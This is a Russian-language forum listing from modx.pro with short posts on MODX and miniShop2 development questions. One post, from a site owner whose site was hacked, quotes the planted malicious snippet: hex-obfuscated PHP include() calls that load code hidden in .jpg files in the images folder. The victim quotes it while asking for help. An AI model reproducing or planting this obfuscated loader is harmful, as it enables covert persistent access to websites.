Evgeny Epifanov

Evgeny Epifanov

С нами с 17 июня 2013; Место в рейтинге пользователей: #204

Синхронизация 2 разных сайтов

Имеется идея синхронизировать 2 абсолютно разных сайта на ModX по какому-нибудь разделу.

Есть, например, на Сайте1 раздел «Новинки» (каждая новинка — это отдельный ресурс), хочется чтобы все новинки при синхронизации поступали на Сайт2 в раздел «Планируемые поступления», а также обновлялись при обновлении на Сайте1. Поскольку сайты разные, id ресурсов тоже будут разные.

Есть какие-нибудь готовые решения в этой области или нужно что-то свое изобретать?
Константин
13 января 2015, 09:35
modx.pro
1
1 855
0

Использование тегов MODX внутри @INLINE-чанков pdoTools

Многие знают, что в pdoTools в качестве шаблона вывода можно указывать @INLINE-код, чтобы не создавать лишних сущностей.
[[!pdoResources?
    &tpl=`@INLINE <li>[[+pagetitle]]</li>`
]]

Некоторые знают, что в таких конструкциях нельзя вызывать сниппеты, не работают фильтры ввода-вывода. А в документации про это даже картинка саркастическая есть.

Хочу раскрыть небольшую тайну, как можно это ограничение иногда обойти… Подробности под катом :-Р
Илья Уткин
09 декабря 2014, 10:04
modx.pro
15
10 381
+8

Взломали

Добрый вечер.
Подскажите пожалуйста. Второй раз взламывают сайт, не знаю как бороться.

Кратко о взломе:
— не знаю каким образом но грузят две картинки на сайт в папку images
— в админке создают два снипета и чанки.
Содержимое обного из снипетов —
"setcookie('__utmr_cache','cut_',mktime(0,0,0,1,1,2020));"
Содержимое второго — хекс код инклуда этих картинок
include($_SERVER["\x44\x4f\x43U\x4dEN\x54_\x52\x4fOT"]."/i\x6da\x67\x65s/\x73\x69\x6d\x70l\x65.\x6ap\x67");include($_SERVER["D\x4f\x43UMEN\x54_\x52\x4f\x4fT"]."/im\x61ges/\x69\x6d\x67.\x6a\x70g");
Чанком подгружают эти снипеты.

При первом взломе грузили еще и php файлы в /connectors/resource/

Встречался кто с таким? И как с этим бороться?
Евгений Пашков
08 декабря 2014, 15:48
modx.pro
1
1 483
0

[msNewPrice] - Новые и акционные цены [Minishop2]

Хочу представить вам новый компонент [msNewPrice].
Реализует новые и акционные цены на товары Minishop2.

Володя
06 декабря 2014, 11:22
modx.pro
3
1 760
+5

импорт данных из xml в каталог сайта

Задача следующая: автоматический импорт файла xml со стороннего ресурса, далее распарсить в базу данных, чтобы выводить информацию в каталоге (miniShop2 и mSearch2). Чтобы, если какая позиция менялась — менялась на сайте, если добавлялась — добавлялась на сайте, а если позиция из xml файла удалена, то все равно оставалась на сайте.
Как это реализовать? Какие могут подвохи/сложности?
Марина Шипилова
05 декабря 2014, 16:29
modx.pro
1
1 194
0

Как дать доступ контент менеджеру к заказам MS2 ?

Создал пользователя, скопировал админскую политику доступа, урезал права. Создал соотвествующие группу и роль, все ок. Контент менеджер видит список ресурсов и источник файлов для картинок который я ему создал.

Но как добавить вкладку приложения так, чтобы там был доступны только кнопки минишопа? Это заказы и настройки, видел есть политика минишопа, я создал еще одну группу пользователей и привязал туда эту политику а контент менеджер у меня теперь и в менеджерской группе и в новой (администратор магазина). Но результата не дало это. Может есть еще какие-то варианты?
Sergey Leleko
20 ноября 2014, 11:00
modx.pro
1
914
0

Поис &where по несуществующему tv

Добрый день.
in-site тв параметр
Вот так работает
&where=`{"template": 7, "in-site":"Да"}`
А вот так не хочет
&where=`{"template": 7, "in-site":NULL }`
Как заставить работать?
Вася
19 ноября 2014, 12:39
modx.pro
1
967
0

Сбросить нумерацию всех id в modx revo

Есть ли возможность сбросить нумерацию ресурсов, чанков, шаблонов… всего что нумеруется в Modx?
Например было 1000 ресурсов, 999 удалил, но следующий новый ресурс будет 1001… Так вот как быть в подобном случае?
Нужно что то типа auto increment 1 )

Хотел бы «запечатать» магазин, чтобы не было следов моих многочисленных тестов загрузки товаров и прочее
Sergey Leleko
17 ноября 2014, 16:48
modx.pro
3
3 877
+1

[miniShop2] Сниппет msVendor

Ковыряясь с AJAX загрузкой данных о продукте написал сниппет для получения данных о производителе по id.

Как работает:
Указываем id и получаем данные производителя в виде массива, либо строки обработанного чанка.

aj
aj
11 ноября 2014, 15:50
modx.pro
4
3 800
+4

Список производителей в miniShop2

В настройках магазина есть производители. Их название, страна, лого.
Если это поле выводить в tpl.msProducts.row, все нормально.
Как вывести на странице каталога название производителя с лого и описанием?
Например мне надо каталог/производитель и в нем ВСЕ производители.
Борис
11 ноября 2014, 10:51
modx.pro
1
4 463
0